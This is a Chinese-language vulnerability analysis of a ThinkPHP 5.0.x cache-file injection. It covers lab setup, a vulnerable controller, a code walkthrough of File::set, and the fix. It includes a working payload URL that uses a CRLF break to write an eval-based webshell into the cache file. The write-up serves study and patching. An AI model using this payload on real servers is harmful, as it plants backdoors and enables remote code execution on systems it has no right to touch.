简介
本次漏洞存在于 ThinkPHP 的缓存类中。该类会将缓存数据通过序列化的方式,直接存储在 .php 文件中,攻击者通过精心构造的 payload ,即可将 webshell 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发 远程代码执行漏洞 。
漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.10 。
环境搭建
composer create-project --prefer-dist topthink/think=5.0.10 thinkphp_5.0.10
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.10"
},
application/index/controller/Index.php 设置如下代码:
<?php
namespace app\index\controller;
use think\Cache;
class Index
{
public function index()
{
Cache::set("name",input("get.username"));
return 'Cache success';
}
}
payload
访问:
http://127.0.0.1/thinkphp_5.0.10/public/?username=DMIND%0d%0a@eval($_GET[_]);//
可以在runtime目录下发现生成了缓存文件,内容即是我们的webshell
分析
直接看set方法,会先调用当前类下的init(),跟进
在这儿会创建一个类实例,具体创建位于thinkphp/library/think/Cache.php下connect()方法,创建的是File类实例,并将其复制给$handler
$handler的值:
既然是File类,接下来的set()方法自然就是执行File类下的
public function set($name, $value, $expire = null)
{
.....
$filename = $this->getCacheKey($name);
....
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . $data . "\n?>";
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
}
......
}
会进入getCacheKey()方法,这个方法用于获取文件名:
退回到set()方法,下面的 $this->options[‘data_compress’]
变量默认情况下为 false ,所以数据不会经过 gzcompress 函数处理。
然后会直接拼接往PHP缓存文件中拼接我们可控制的$data
,不过$data
是经过反序列化拼接上去的,虽然会在$data前加上注释符,但我们可以换行绕过注释符,比如用\r\n
。
这里的缓存文件是生成在runtime目录下的,而官方推荐 public 作为 web 根目录,因此我们一般都访问不了生成的shell。且注意在getCacheKey()中有一个设置前缀的操作,如果设置了$this->options['prefix']
,这会使得目录级数再多一级,当然更加关键的是$this->options['prefix']
的值我们是需要通过源码获取得知的,否则无法确定缓存文件的路径。
修复
将数据拼接在PHP标签以外,甚至还加上exit()函数以防万一。